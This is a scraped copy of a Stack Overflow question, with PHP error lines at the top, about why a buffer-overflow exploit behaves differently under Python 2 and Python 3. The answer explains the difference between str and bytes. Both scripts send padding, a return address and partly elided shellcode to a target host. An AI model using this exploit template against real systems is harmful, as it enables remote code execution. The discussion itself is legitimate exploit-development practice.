Warning: file_get_contents(/data/phpspider/zhask/data//catemap/3/sockets/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Sockets Python3和Python2之间的差异-socket.send数据_Sockets_Python 3.x_Buffer Overflow - Fatal编程技术网

Sockets Python3和Python2之间的差异-socket.send数据

Sockets Python3和Python2之间的差异-socket.send数据,sockets,python-3.x,buffer-overflow,Sockets,Python 3.x,Buffer Overflow,我正在练习一些缓冲区溢出技术和 我在发送存储数据时遇到了一个奇怪的问题 我有两个几乎相同的密码,除了事实 在Python3代码中,我更改了sock.send来编码 字符串(在Python2中,您不需要该字符串) Python2代码: import socket,sys sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect ((sys.argv[1], 10000)) buffer = "A"*268 buff

我正在练习一些缓冲区溢出技术和 我在发送存储数据时遇到了一个奇怪的问题

我有两个几乎相同的密码,除了事实 在Python3代码中,我更改了sock.send来编码 字符串(在Python2中,您不需要该字符串)

Python2代码:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer)
sock.close
Python 3代码:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer.encode())
sock.close
我发送缓冲区,然后用调试器检查EIP/SEP值 我发现Python2代码和Python3之间的值不同 代码。这怎么可能

两者的缓冲区相同,因此调试器中的EIP/SEP应该相同

换句话说,从服务器的角度(获取套接字数据) 看起来它得到了不同的数据结构或类似的东西

有什么想法吗


谢谢。

您的服务器和调试器是正确的-缓冲区内容不同

在Python2和Python3中,如果编写
buffer=“A”*268
,则缓冲区的类型为
str
。然而,
str
代表什么

在python 2中,
str
实际上是一个字节数组。在Python3中,它是人类可读的字符序列,而不是字节(在Python2中称为“unicode字符串”)

如果进一步使用
.encode()
,将使用
utf-8
将字符序列转换为字节序列。可以说,这是你的一根弦


您可能想做的是
buffer=b“A”*268
,它将使用
字节而不是
str
。您还需要使用
b
作为所有连接字节序列的前缀,您可以使用
six.b
使其与python2和python3兼容:

import six

...
sock.send(six.b(buffer))

尝试使用
b“\x70\xfb\x22\x00”
,即确保您使用的是
字节
而不是
str
,然后删除
encode()。在Python 3中,
str
是一个unicode字符串,
encode()
使用默认字符集对其进行编码,因此您不会发送指定的字节。您说得对,谢谢。如果我把b放在该代码中任何str之前,它就会工作。我以为“encode()”会将它们全部转换成字节。那么,如何在一个命令中“字节”所有字符,而不是在每一行中“字节”?谢谢–你说得对,谢谢。如果我在代码中的任何str之前放置b,它就会工作。我认为“encode()”会将所有字符转换为字节。那么,如何在一个命令中“字节”所有字符,而不是在每一行中“字节”?thanks@user1641071
encode
确实将
str
转换为
字节
-只是不是您想要的字节:)我认为没有
b
,您无法声明字节,如果您首先将它们声明为
str
,则无法“转换”。但我可能错了,你应该问一个新问题